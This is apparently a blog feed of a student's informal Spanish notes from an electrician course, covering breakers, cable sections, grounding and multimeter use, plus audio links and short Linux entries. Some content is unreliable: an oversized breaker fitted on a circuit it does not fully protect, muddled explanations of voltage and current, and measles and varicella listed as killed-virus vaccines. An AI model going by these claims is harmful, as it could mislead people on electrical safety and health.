Le dije a esta decoradora que hace los muebles, perfecto vamos a hacer un mueble dejando la provisión para los tomas corrientes y dejando la posibilidad de poner sistema de cables que vienen de la línea, en algunos casos tenes que dejar para el modem para tener Internet todas esas cosas se va perdiendo hoy en día por suerte y nosotros que somos instaladores tenemos que saber en ese momento capaz que no está en el proyecto o en el plano pero nos conviene en algunos casos si tenemos confianza con el cliente **decir que equipamiento va y terminar las cosas antes de volver a picar o hacer el sistema a veces es la confianza pero para que ustedes entiendan**. Hay una chica que quiere hacer instalación electricista el cuatrimestre que viene y le digo yo te puedo dar toda la parte teórica pero no sé si te va a servir.
Elementos: 1. Interruptor termomagnético. 2. Interruptor diferencial 3. Puesta a tierra 4. Protector de Tensión es tipo un interruptor que tiene que ser, que ya viene graduado internamente entonces pasa esos parámetros y corta el problema es en algunos casos cuando empieza a cortar de seguido, te vas a quedar loco porque ya viene la parte de afuera y algunos ya vienen con el dispositivo graduado internamente que no se puede regular, entonces hay veces que para que no corte constantemente hay una parte que dice manual y automático ustedes ponen automático llega a una cierta tensión y corta. Y a veces ponen manual significa que no corta, no va a disparar.
#### Los 3 principales elementos de protección Los principales que tenes que tener en tu casa: el que va detrás del pilar la primera termomagnética, el disyuntor y la puesta a tierra.
La sección del conductor depende de la potencia pero si es iluminación tratamos de colocar siempre 1,5mm^2. Tomacorrientes de uso generales 2,5mm^2, toma especiales 4mm^2 y después puede haber otro equipamiento que eso depende de que característica tenga la instalación.
Una época yo intenté hacer una carpeta de cada estudiante para promocionar y darle a la posibilidad a la empresa de que entre como candidato pasante entonces armé una lista y le daba, pero yo no tengo que comunicarme con la empresa la UOCRA que es la que tiene los servicios ellos tenían que tener contacto directo con las empresas y ofrecer y dar las condiciones, yo profesor que voy a ofrecer. He ofrecido gente, no me arrepiento tampoco pero he ofrecido pero lo que quiero decir es que a nivel institucional es importante que la gente o los directivos de la UOCRA tengan contacto directo con la empresa. Hay en una fotocopia en donde figura la corriente máxima de cada conductor. **Eso sale de las normas de la AEA** Corriente máxima de cada conductor. Objetivo del Termomagnético: protege el conductor de cortocircuito y sobrecarga.
Melgarejo: Un caso de la vida real en frente de la casa de mi hermano hay un negocio barrio Iprodra trifásica y 20 heladeras le llamó corrió la que atiende el negocio le pidió ayuda a mi hermano, nadie en el barrio lo pudo ayudar bajó todo acá mi hermano es bachiller orientación en electricidad, cruzó la calle y se fijó hicieron muchos pruebas, **era que la trifásica todo volvía por 1 solo neutro pero ese neutro era de 2,5mm^2 y tenía 20 heladeras y lo que hizo mi hermano fue ponerle uno de 10mm^2 y dijo que llame a un electricista**. Era Domingo mi hermano tenía un rollo de eso, pero se le iba a derretir todo. Profesor: Tuvo suerte, trifásica 3 fases y 1 neutro. Todas las heladeras la mayoría son monofásica.
###### Ingeniero: si la carga está equilibrada no hace falta que el neutro soporte tanto. 1000 vatios en una fase y 1000 en la otra, en las 3 tenes que tener 1000. No hace falta que el neutro sea la suma de las 3 fases pero la sección del cable por lo menos tiene que tener el grosor de una fase.
Barrientos: El año pasado me compré en Paraguay una fryair freidora de aire y hoy estaba mirando y ahora me mudé y no puedo conectar porque los enchufes tiene la pata más gruesa, el año pasado hice volar la puesta a tierra del enchufe pero no sabía. Si se achicharra el cable es por consumo (está mal calculada la sección del cable)
#### Esas escuelas rurales tienen un sistema de línea unifilar llega solo la fase, entonces hay un transformador ahí pónganle de 10 cableada o 5 depende de la escuela, y esa fase llega al primario y sale el secundario la fase y el neutro es hecho a través de una puesta a tierra y sale al rededor de 2000.
#### El neutro es hecho a través de una puesta a tierra y sale al rededor de 2000 cuando hay humedad esa magnitud o medición de tensión es aproximadamente 220 voltios. Pero a veces está mal hecha la puesta a tierra y no da como máximo da 210 voltios, la escuela tiene un pozo perforado y constantemente el tipo lo 1ero que dice **se me quemó la bomba** sacá la bomba del pozo perforado ya quieren equipamiento para sacar eso, y en esos lugares para llegar con un camión es difícil yo me arriesgo voy a ver que problema tiene, si es eléctrico vamos a solucionar.
Medí la tensión 215 voltios antes de empezar y después probaba y andaba la termomagnética tenía una termomagnética de 10 amper pero el motor era de 1,5 la bomba, siempre hablo de motor porque las bombas son motor más cuerpo de bomba y forma sistema electromecánico pero lo que nosotros medimos **como electricista es la parte del motor en los parámetros y todos**.
Interruptores hay de tipo A,B,C y D.
Resumen de la escuela rural: La curva B salta más rápido y se usa detrás del medidor. La escuela rural tenía una bomba que consumía 8,9 amper usaba un interruptor termomagnético de 10 amper y el neutro lo sacaba de la tierra entonces a veces bajaba la tensión y subía la corriente y saltaba la térmica. Solución del profesor: Fíjense que está tan cerca: 8,9 y 10 amper (la térmica). Lo que yo hice fue poner una de 16 amper curva C, hasta hoy funciona (pero no protege el cable de 1,5mm^2 solo uno de 2,5mm^2)
En síntesis... Le hacía funcionar y a los 2 o 3 minutos saltaba el interruptor termomagnético, el motor es de 1,5 HP, la corriente que estaba consumiendo directamente medido con la pinza amperométrica en algunos casos saltaba a 8,9 amper, este es la corriente de consumo nominal que tenía el motor de la bomba, y el interruptor ITM de 10 amper todavía andaba al límite pero hay diferentes tipos de curvas para cada interruptor la más sensible es la B o sea tenía curva B, fíjense que estaba esto cuando apenas a una tensión 218, 215 a medida que bajaba la tensión esos casos llegaba a 202 y a veces llegaba menos de 200 esta corriente se tiene que elevar, cuando menos corriente tengo, fíjense el caso tú que le entró casi 380 y los ventiladores giraban (Torres), cuando sube a 380 ustedes miran los ventiladores es como si tuviera un turbo porque la tensión lo que hace es aumentar la velocidad en esos casos, hasta esto andaba 1,2 minutos y cortaba porque constantemente había que medir la tensión y la corriente pero la curva era curva B de accionamiento más rápido caso de sobrecarga, la curva B salta en un instante (salta en breve tiempo).
##### Curvas de interruptor: esas curvas depende generalmente es para la sobrecarga para que la sobrecarga en un tiempo determinado corte, ya sea breve si pones curva C esa sobrecarga puede llegar hasta 1 hora. Este es para un caso de que yo tenga un taller con equipamiento de maquinaria industrial entonces todos son...
##### La curva más lenta se usa para el caso de los motores. Esto que está acá es la simbología de un interruptor (Hora 01:35) fíjense esto es como una llave común esto es un interruptor ITM y le voy a leer este símbolo que está acá es un relé térmico (ver imagen) ese cuadradito es un relé término, este que está acá relé magnético. Se puede accionar un interruptor termomagnético remotamente con cable UTP5 o WiFi. Antiguamente se protegía los conductores con el fusible. Ayudante le da lecciones al profesor (Hora 01:42:30)
Tengo un video de Genrod que está interesante para que vean para que sirve que característica tiene, el tema de jabalina, el sistema de puesta a tierra. Así como tenemos el sistema de acometida, tenemos sistema de puesta a tierra: no es solo la jabalina sino el elemento que sale de la bornera acá, el conductor, la cámara, la jabalina, prensa cables.
https://imlauera.github.io/electricidad29/
Tue, 27 May 2025 07:06:42 -0300
https://imlauera.github.io/electricidad29/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1kdaJ3BdGrCz">https://vocaroo.com/1kdaJ3BdGrCz</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-136">https://archive.org/details/record-136</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/_ZEMCV9rZlM">https://www.youtube.com/embed/_ZEMCV9rZlM</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNv0psiBumGuwCbPTtkA9ZaTOexi0yYjAJzd5ihpXqITRDxp8SGsTFYixpdTL6yp5-uzEgw2TWqoGV2NIr2ivF222YdOwnso8ksLqJMHyy4AtB5a9-uYteIJiyq4d8rrTAFO-WD7yjMRo0i2FSXYou9Rp8rgtiimw4RCL37dOPBe-tqpzeG4lz4gzVg-8/s4160/IMG_20250526_194559815.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYESTHYVjKYsKt0FP_8OIhcORkB6QZhooyejYLHZVJLnAIZhbuM9CR1HWqsJGPvud8FejdkHhVylcrPmeLd1lnMLqF5IxzFY-V7FjyDFemizIs7WqFTNsmMuCBwalC5cdrR9pQ6MomqrkVtfYPE5RHZvtabFTe3XPuo-LlLJGMuQoXr30lg8guidYADGw/s4160/IMG_20250526_195721098.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvkzEIEaPBxpahseUbE-Z0jlMTYLcf7lAM2i3co2hkJ9hDgqf-KAcTWfLvlvP1mr6j7p5MhozfMpf-6JmLxa_U3pNwNor4eLx6kCJ8ySlFZQjF90NIRyvyF6Vf975P-n6oQCPBUpKYA33rWq1WygNbpN-4iLg4NkrQk-NgMT3TAF7oQZcESuU79gXvSMI/s4160/IMG_20250526_201536814.jpg" alt=""></p>
<h5 id="transcripción">Transcripción</h5>
<p>Gustavo Barrientos explica que hizo albañilería y le entregaron la tarjeta IERIC, regalaron hamburguesa.</p>
<h6 id="el-profesor-comienza-a-hablar-en-el-minuto-16">El profesor comienza a hablar en el minuto 16</h6>
<p>Ahora vamos a descansar de la práctica.</p>
<p>Según la fundación UOCRA van a tener un acuerdo para los oficios que dan a nivel país tendrán una biblioteca virtual, si sale es interesante porque uno se puede introducir ahí y ver cosas que les puede servir, a veces me meto en la facultad de Córdoba pero mandan 2 o 3 cosas y después se acabó, tenes que tener suerte ese es lo malo. O sino te tenes que suscribirte o sino ellos promocionan después hacen cursos de cada materia tenes que pagar.</p>
-
Electricidad / Clase 28: [FOTOCOPIA] Tester. Multímetro. Vacunación (alumnas de la UCAMI). Preguntas exámen: 01:55 Tensión alterna, tensión continua y como medirlo. Como medir resistencia (letra omega). Medimos resistencia/continuidad de un cable. Si vos agarras un cable te tiene que pitar(continuidad) porque es el mismo cable Para medir continuidad poner el tester en el símbolo que tiene el símbolo de audio que es como una chicharra(probá tocando las puntas del tester tiene que sonar). El sonidito me indica continuidad. Como marcar continuidad del circuito sin el foco: Tenes que con un destornillador que no tenga aislación en el cuerpo tocar la chapa del medio y ahí la rosca, pero este foco te tiene que marcar continuidad porque es incandescent.
Definición voltaje, amper:
Yo explico a Adrián Torres: Voltaje es la fuerza que tiene que tiene la energía de pasar de un lado al otro, y amper es cuánta energía lleva cada vez que pasa. Adrián Torres: Ah. Yo: Dicen que con 1 amper ya es suficiente para matarte pero no pasa la pila tiene 1 amper pero no pasa por tu cuerpo porque tiene 5 voltios para que pase la energía por tu cuerpo necesitas romper la resistencia de la piel. Adrián Torres: Con cuánto más o menos? O sea con lo que tocamos acá? 220? Yo: Sí, eso ya rompe la resistencia. Adrián Torres: Ellos habían hablado de eso las primeras clases, porque uno siempre conoce como voltios o sea yo le digo voltios siempre le dicen voltios, 220 voltios. Ahora recién entendí. Yo: Por ejemplo el cargador del celular tiene 5 voltios pero los cargadores de celular común tienen 1 amper, y los carga rápida tienen 3 amper, porque es como que cada vez que lleva lleva más carga. Adrián Torres: Por eso dice acá en amper que circula a través del material, cuando circula, claro la pilita cuando circula lleva el amper. Yo: Claro. Es como la carga que lleva. Adrián Torres: Claro, y el voltaje es lo que está adentro? Yo: El voltaje es lo que le hace a la energía a pasar al otro lado, es como la motivación de la energía para llegar al otro lado. Adrián Torres: Ah, impulsa los electrones a lo largo del conductor, conduce la energía con mayor o menor intensidad. Yo: Cuando hay un voltaje alto hasta el aire puede ser conductor, si tiene 12 mil voltios hasta el aire es conductor. Y ahora hay que medir la continuidad de esto.
En el equipo no dice ohmnios sino aparece la letra Omega es interesante porque generalmente la mayoría tiene para ver la posibilidad de ver continuidad enttonces lo 1ero que vamos a hacer ahora es medir continuidad y hoy creo que traje algunas resistencias tipo electrónica y cada color indica que valor de resistencia tiene, entonces nosotros podemos comprobar con este equipo que resistencia tiene, en principio acuérdense la letra omega es resistencia.
La pila es más cara que el tester: 7000 la pila, 6500 el tester Sebastián Melgarejo cerró el circuito con un destornillador en vez de poner el foco. Sebastián Melgarejo tiene un rollo de 15 metros en su casa que intentó prenderlo con un encendedor y salía humo tóxico, está preocupado porque usa eso en su casa. Javier Cardozo se asustó porque la clase pasada el profesor lo estudiar y pasar al frente la próxima clase (esta). El profesor tenía tester analógico(aguja) que se derritió por el sol lo arreglo y calibraba con una perilla, y era muy preciso, sus alumnos lo desarmaron y se rompió otra vez. Al usar tester: Siempre en voltios en continua o alterna siempre comienzo en la mayor escala y voy reduciendo, nunca al revés. osciloscopio: mide la forma de la forma de la corriente en un parámetro en un seguro te hace la amplitud y todo pero eso ya es un sistema de laboratorio Profesor: Tengo un sistema para medir resistencia y después tengo para medir continuidad, algunos tienen para medir diodos transistores NP. La parte de transistores esta está en azul para la gente que necesita información en la parte de electrónica a nosotros no nos sirve. Hay otros que tienen hasta para medir la temperatura de la heladera tipo un termómetro, pone dentro de la heladera y sé que temperatura tiene la heladera. La punta del tester hay que cuidar mucho. El negro va al común. Profesor: El tema acá es para que vean, fíjense que es lo necesario que ustedes conozcan: corriente, voltaje, resistencia, potencia. La ley de Ohm para que ustedes tengan en cuenta de donde nace la medición. Qué es corriente, qué es tensión (fotocopia). Siempre acuérdense que aparece un lugar en donde dice on/off ese es para que uno prenda y apague el equipo, no se deben olvidar que si dejan equipo prendido tiene muy corta duración la batería. Hay que cambiarlas cada año para que no se sulfate. Tiene un selector rotativo, con este yo decido qué parámetros voy a medir. El tester mide la corriente pero en serie, es mejor comprar una pinza amperométrica. Si tengo corrientes pequeñas puedo medir con el tester, pero siempre es recomendable la pinza amperométrica para medir corriente(amper) La pinza amperométrica tiene el común también y otra parte que dice V y OHM Mi primer amor fue el tester analógico, algún día cuando tenga ganas voy a empezar a soldar, pero como no uso más y veo cada vez menos, si quiero ver esto tengo que ponerme el anteojos. Los números que te dan los testers digitales son más grandes mejor visión. Tipos de vacuna, como actúa y qué efectos secundarios te puede causar. Mitos sobre la vacuna. El calendario nacional de vacunación. Espeche que es un ingeniero Electromecánico "evalúa" a las estudiantes de Medicina (no sabe ni lo que es una vacuna): Hora 01:20 La vacuna antitetánica duele. La vacuna VCG es la que deja la marca. Matías Samuel hace un chiste de que las vacunas no producían autismo hasta 1998. (Hora 01:23:55) Vacunas con el virus muerto: polio, sarampeón, varicela.
Aparte del OFF ese encendido y apagado de cualquier equipamiento que ustedes tengan, lo que vamos a hacer ahora es ver acuérdense que yo tengo un selector de ese selector me va a indicar siempre voy al máximo y después voy bajando.
Importante polaridad: Generalmente es el rojo positivo y el otro acá sería el negativo Si ponemos las puntas al revés aparecerá un signo negativo. Tensión es voltaje, cualquier palabra o diferencia de potencial también es tensión, la V es tensión. Mi pinza amperométrica que tenía una única escala de 1000 voltios para continua no podía medir una pila de 1,5 voltios que según el tester del profesor le dió 0,955. Mi pinza variaba de 0 a 1. Para medir la corriente con el tester se debe poner en serie.
Uso la lámpara de prueba porque yo ya vi la iluminación cuando llega ahí probé con la lámpara de prueba, la lámpara de prueba para no llevar el tester para todos lados, entonces voy probando constantemente y después veo si este es el circuito acá, acá tengo 220 allá tengo 220... Sebastián Melgarejo: El del medio por descarte tiene. Profesor: Entonces no tengo que medir todo. El profesor vivía al lado de la escapilla Santa Catalina, fue al colegio Santa Catalina. AC alterna, DC continua y siempre empezar por el mayor rango: 750 voltios. Para que se usa el HOLD: cuando medis el consumo de una instalación marcas y vas tomando apuntes necesitás equilibrar ese circuito para distribuir las potencias en las distintas fases. Medimos el borner de la termomagnética, tomacorrientes, las 2 barras con el tester en AC. Pregunta de examen: Es importante: a veces sale en una parte una pregunta dice **la unidad de tensión es voltios y como se mide, como uno mide cualquiera de las 2 preguntas son distintas pero ustedes tienen que decir cuál es la unidad de tensión, y después como medir y hay gente que no pone como se mide**. Algunos dicen multitester, está perfecto, pero tiene que saber donde medir Respuesta: mido en los terminales una bornera o siempre en un tablero fase y neutro y en un tomacorriente una fase y un neutro, es sencillo. No hay problema son importantes responder porque tengo que tener la idea exacta donde mido la tensión. Como romper el tester: Si ustedes ponen resistencia y continuidad y miden tensión ahí mai embora. Ayudante: Acabo de ver algo que me recordó mi época de la Industrial (dios santo) vi un esquema de planta yo tenía así un fajo de regla de plantilla para hacer los planos. Encima de ese plano vos tenías que hacer: el plano de planta, el plano del 1er piso, de ahí lo tenes que copiar hasta el 5to, del 6to ya se modifica después tenes que hacer la terraza, después tenes que hacer el edificio en perspectiva y corte tanto longitudinal y transversal y aparte tenes que hacer los cálculos, y también cañería de agua, electricidad...
https://imlauera.github.io/electricidad28/
Thu, 22 May 2025 10:29:07 -0300
https://imlauera.github.io/electricidad28/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1oGJu6JbJHr9">https://vocaroo.com/1oGJu6JbJHr9</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-133">https://archive.org/details/record-133</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/HtQCiadqVY0">https://www.youtube.com/embed/HtQCiadqVY0</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXtavB1-TiPEvGOlLmYNBXZ1gMKACk9_nFN9kMT-sGTpXYbZioUxW3eRcqrtPuz6TlUvyKO2XDuKyem8DXfbO9gS3j1PsTNm3cEky-TL3EsIxXgfcFDfpSia3-kxvIbA-n_7psq77ox22AhaozxSCEyDi3miVvZcm2flTZ_HRX8GBXv8GymWHjC3TRe_E/s4160/IMG-20250521-WA0001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG-5GegzNVfLEyAvZgTZvtlRazWISsdG8ZbjPjSjQMhrusuZYuofrfHWwkUjAG96KFRLVtiN5PPxLiKfjqZ9Ele_D9kD-8CjylZMfOiQuoijghpZCIasl8_dVJ4hVXEpMNGDY-oGWtO8ESPLSQPsYKVBkO5MGSDlKnLSGkivNfsGu0j7avHU3w4eNj6t8/s4160/IMG_20250521_190009411.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5eMvbIy2djkiFiWr12ppokweQwJJ9FVd5BdDKLrD2e3DPRqeuqhR80EP3mzlzIK4Z5Fy9XYhgQqCx4sliKuZ65MPh4-mz-eaMl28aoAj1NwTHwcJzrJ_IbJGh1AWsmb5iXNqXJlo2ktzV-Hv6J82bssd-dSCy3alkrvCh13Z_cZSWvx0azpdOahi1DEQ/s4160/IMG_20250521_203311224.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzkiHpG-htkzIB093m87J6gpD8EjB_h0lkDm_QoXQPkCO7tf7Jc7RFQ4qbudwe1e41LP31VqnQ6KsVq_0VcT1qnC5Yk5LfX2PwHxRI3-LWn160WITlMBECG8z3_O8dAODnQ4649I2egOcsMEXsfOkShGL5GSzMscZvX_NB4vwRxCddSRFMH6p3Pa7Au6Q/s4160/IMG_20250521_203316800_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvre-Hj87NoGQXXH_BCVMDNQpcmkqkIuU6RNMW22AAben3D-iJUQwcXA6L6YYsO-NieZR3-fcT3sWKoh9F2MgCGHM5ajWoiBZNsBMCmDSYHU_H53g3iViJZhHb_GJXJMY9hcChVs0_wbOmKK8eVArMZC6LWyYvk6TV0rCWOlPbMR-M_ex9rDaVMkIA-1o/s4160/IMG_20250521_203341032.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GufNCbtnOkmZJHjJieuigmzFPioQd0oWTgpe7u1nKQakxSTMCroSTpVsPlFyEqF9qv40tgZnN32CTvldTtsfV3yn_FGzHrpcQMDDeeS1hs8XcY546M_MqtYfDcv2QrHKxzEGtVsZNP_Hzv-QUw1OjGEtY6RnEZweEmERImyTFXAVIDvO7l64Ag344Vo/s4160/IMG_20250521_203356574.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTgRCKyq_7U6qzG7ZljTa1KIchO81CeaCG2EKSXF5CIG0ilNyXceEKVVKkNNeWysd8nQmGQfdkg6Wx06l-YPrzG6uBGLl-bMGr2aHar500DVwpX9VR-hhyphenhyphenSU3ZfvX9h64aGFXhIXLK35Fbn9uPUSopITRi-37OW5OJF5jf7e1bEo4aBhKvlZVkVrjhqME/s4160/IMG_20250522_092703160.jpg" alt=""></p>
<h4 id="transcripción">Transcripción</h4>
<p>Javier Cardozo faltó porque tenía que explicar el tester. <br>
Gustavo Barrientos: compró un tester con capacímetro. Lo que más se usa es continuidad y voltaje.</p>
<p>6500 le salió el tester.</p>
<p>La pila sale 7000 y el tester sale 6500. <br>
La pila es más cara que el tester.</p>
<p>Sebastián Melgarejo: Si uno lee esto aprende a usar el tester (el manual).</p>
-
Electricidad / Clase 27: Clase práctica. [LO MÁS IMPORTANTE DEL CURSO: ESQUEMA DE MONTAJE] 8) Llave de 1 punto y toma corrientes 1 lámpara - Baño. Cortamos la luz para probar disyuntor.
https://imlauera.github.io/electricidad27/
Wed, 21 May 2025 10:38:31 -0300
https://imlauera.github.io/electricidad27/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/12GLRDtU5Q3l">https://vocaroo.com/12GLRDtU5Q3l</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org:</h6>
<p><a href="https://archive.org/details/record-130">https://archive.org/details/record-130</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/RGpyUyUOR3I">https://www.youtube.com/embed/RGpyUyUOR3I</a></p>
<h6 id="video-produciendo-un-corto-circuito-en-la-clase-y-cortando-la-luzsalta-el-disyuntor">Video produciendo un corto circuito en la clase y cortando la luz(salta el disyuntor):</h6>
<p><a href="https://www.youtube.com/embed/yuucjqXTrlo">https://www.youtube.com/embed/yuucjqXTrlo</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyQ7c1-VBxXY4UyO0xFkkfAXGxuRrv6L039ffMYbIpuR7pJkiWCBw7_m8BiZlTJo5d_rVJ3ufjmK_X5TzUtcyXvVlS8T30R594jpwmNjZoX1j8oHy1ihkP6z-tZhyphenhyphenRLZeGsx9kTXWFcBu2nFUcgM1idVmC5cljCxIw-IERfd1r3Tz_NZjk_3x1PfXH3u8/s4160/IMG_20250519_231731532.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy5y46KOKrNysR2NyFpeeyMkag3RE66HiF20Lpm54XhE9G2gLqtFraqavsPfmSIwPzr7Gbteu5RKmj4FIAW6dOhPYhxnaIaTIQG96J8vE5Fd65yE0UDcJ-qumayGclpTf8W9bH_5siV3OoXCUxK1d9k_Ka0LCcbuoHodZ9XLBEw87IZ6vuYT6jsZliJzs/s4160/IMG_20250520_191956969.jpg" alt=""></p>
-
Electricidad / Clase 26: Clase práctica. [LO MÁS IMPORTANTE DEL CURSO: LOS ÚLTIMOS 2 ESQUEMAS DE MONTAJE] 6) Dos lámparas con llave combinación. 7) Dos lámparas. Una con llave combinación y otra con llave de 1 punto. Comenzamos ejercicio 8. En el exámen entra el diagrama unifilar de todo esto.
https://imlauera.github.io/electricidad26/
Mon, 19 May 2025 22:06:18 -0300
https://imlauera.github.io/electricidad26/
<h6 id="audio-en-vocaroo">Audio en Vocaroo</h6>
<p><a href="https://vocaroo.com/1ndiSoYVRjEc">https://vocaroo.com/1ndiSoYVRjEc</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org</h6>
<p><a href="https://archive.org/details/record-126">https://archive.org/details/record-126</a></p>
<h6 id="audio-en-youtube">Audio en YouTube</h6>
<p><a href="https://www.youtube.com/embed/R2V3PACiUoU">https://www.youtube.com/embed/R2V3PACiUoU</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSrTjf-8wBSVTVGDK_A3RTY5MIieU197-vIR9HX1ws21IBEOAezoquTtiaLVHZkUouq-H6BxFjqar09hxzciCmtEhhD0QaT0mmvqP-6pAK4zERgMV7UYmnNHZeVN8VhTr-D-mj_MmZe6ff_Co5fHFH8im8rcI33zju6om8RO9RZD01ZXd-NfWngITDQuU/s4160/IMG_20250511_181942963.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ2DqC1kepIAqus-2nNq8fCn5dMqMvqef01FtnM_AxkYCgRfzxmSn-Yzjn_cvpBdiyMXorvr41KvMH2QYr5qSbg-PK6YF291yoJFGfamhPjAjRjEpzMUbUukzOJqClTcz9haIRcQmtZ_GA5xQ4JAfdWLw6BMt3FTkydPsfULcOPAybIveWTfA4lDChtXc/s4160/IMG_20250514_202616901.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil5ew5QVWeyV96tQLOsz_9yDA-mwfO7bNHoyhOXYbuhb-UrjfSBDkNpijhLxkOp0zzuWHXS9v4AA0WhQIzSqPV1fMIgLm67JoHgE-bOXI8LuLW_3sbNVlRvq4zZXmMes9KI8g68tZ5g8Bu9ruU9pDUO6WGmwAmPnifWBZ7yupkjAV0a2vOUugBxksc-Hg/s4160/IMG_20250519_192501319.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoURaeCkLIvvvqMfzPE7zgaeENkiA9u-7KedTOBzKTpgK2hasYh2RNgLLPQoC45TTFjAdrSqC_dk2ncQhSCCUmoJIEv1mShYpdBhn_Pexbg9n1jnwP-oLw2wHyBre2lmQ1fK4m_Aiv_3mLHqlP3opjD9vxN5I-C51X6LMg8_IeK1qGaoE7HF_HlqQCVNE/s4160/IMG_20250519_194858095.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisJNs7rnMM3-H2FrxKEfhrQrfNj6jkWgr1HXPNMPmSgT2X1BXPNVhoLH1yNx7ZLiO1n39Z2sSlhz74n67d4w8bn22WeXToFgWMz_bFY5mud1_8ciPu7xxmBwBuR4hskn8tcHPP1Gcb2c9dUFbUVi3Pi3rvzuiUedIMtxOmQnDdQykVJB6cPW8giMR8FNc/s4160/IMG_20250519_200506332.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdnQOfPBWCpAxt8B7VWsj6dswVNaoI1j40lyIF0v6SDtnlHiLekszTgFRzWddGgQsRS6de1iMOl39HCXpqOgEDoKpHx-dF9iAHM9KatlzZ7b810qX7LSsvQKUtc2FN6YJ6ZKc8D96MX7gh5CKWKKbRd3osOFjAkvd5eV__Q1XWWfR94mzmiv6iNsh1M8o/s4160/IMG_20250519_200511478.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq9pGVB_R-NfOg1-f6_1x5lM25Rsq9Wt6gB7j2Qg_98V-9YwtjN21wRPfDFKwKVUuFFSTCdGJpJ118Jqy0RbyhnoOXQPmXbvBqrVGCrG689mJGWr_AplJYBqbHoJGpQH-ReYmgST00iGbH_Vov0UWB8MejKObXDdLgGedSvhbvAM1sfr3UHrHGFUBgRLk/s4160/IMG_20250519_202033785.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-vI-zGm1VTF9GOnuZZgzE_IQUHjj2NTlX1jKKyk10ls1YRTuEPiZ4hl6dJ9-knOCMFP4-gYcZjvihQzlYzq8gwtBgymjBqG7DJkvkLprrEfZtfa14sHfGbR_XyG3KuuaHtzjPKmWawohKYSvGHnty-jw2D9-X_IgcE4vxtvJiZORVTrOGy6ix62U2ZMM/s4160/IMG_20250519_203334764.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzu5poJnE2u75TZ3K3_eHp2LpK6NLlRVgMUpfDPcR2Ws8Qei2KASo2Cjgkrr8A0bU1TN-fhDk98m3FjSWMGyyxVRbEKzUm2ppi_E8yEpJykYoACD-tDhfB3GLVYPCguAe-gAWsPoWOvyBU_37AX-5mUXIh8dssEI7Yaku12HUjVXZgDW_WQzkmW_nRewY/s4160/IMG_20250519_215122711.jpg" alt=""></p>
<h3 id="hice-mal-no-hace-falta-una-fase-para-el-foco-y-otra-fase-para-el-toma-corrientes-podes-usar-la-misma-fase-de-25-mm2-para-ambos-hacé-un-puente">Hice mal. No hace falta una fase para el foco y otra fase para el toma corrientes, podes usar la misma fase de 2,5 mm^2 para ambos hacé un puente.</h3>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9AAITWKroqzUF_x1-0O2oQI1L9aaeB_bPeKFviZuIO66Iy7RcIkZ8d-KyMGOeFbIjgrsitaA80zFzowrzo1y2hyphenhyphen17ALYcs1bHxMvy0cypAzk9fODg3GKvFAzcUVufeW_lhuwtBg3T0WRekZvj5tyuFaa17tNer4XMd2fMTxvO9zsMmC-FI01tSO3OLr0/s4160/IMG_20250519_215139860.jpg" alt=""></p>
<h3 id="acá-esta-bien-comparto-la-fase-porque-solo-es-un-foco-pero-si-fueran-2-tomas-tendría-1-fase-para-cada-una">Acá esta bien comparto la fase porque solo es un foco pero si fueran 2 tomas tendría 1 fase para cada una.</h3>
<p>El cable de tierra es de 2,5 mm^2 el del neutro y la fase también y el de retorno 1mm^2</p>
-
Zram
https://imlauera.github.io/zram/
Mon, 19 May 2025 04:52:06 -0300
https://imlauera.github.io/zram/
<p><a href="https://linuxblog.io/running-out-of-ram-linux-add-zram/">https://linuxblog.io/running-out-of-ram-linux-add-zram/</a></p>
-
Jugar a MU Bless Online en ArchLinux
https://imlauera.github.io/install_mu_linux/
Sat, 17 May 2025 10:56:37 -0300
https://imlauera.github.io/install_mu_linux/
